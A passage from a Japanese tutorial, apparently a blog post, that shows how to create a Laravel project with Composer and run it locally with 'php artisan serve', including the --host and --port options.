$ composer create-project laravel/laravel [プロジェクト名] --prefer-dist 
```

## 動作確認
プロジェクトのルート（プロジェクト名）に移動し、

```
$ php artisan serve
```
を実行すると、

```
Laravel development server started on http://localhost:8000/
```
と表示されるので、ブラウザで[http://localhost:8000/](http://localhost:8000/)にアクセスしてみます。

<img width="1279" alt="スクリーンショット 2016-12-29 23.26.27.png" src="https://qiita-image-store.s3.amazonaws.com/0/151106/f15ad672-f25f-b988-4340-c8b21d8d1765.png">

このような画面が表示されれば、環境構築完了です！

LaravelにはArtisanというコマンドラインツールが用意されています。
artisan serveコマンドを使用することで、PHPの組込サーバでLaravelプロジェクトを動作させます。
デフォルトのホスト名はlocalhostで、--hostオプションで変更できます。
また、デフォルトのポート番号は8000で、--portオプションで変更できます。


今日はここまで〜。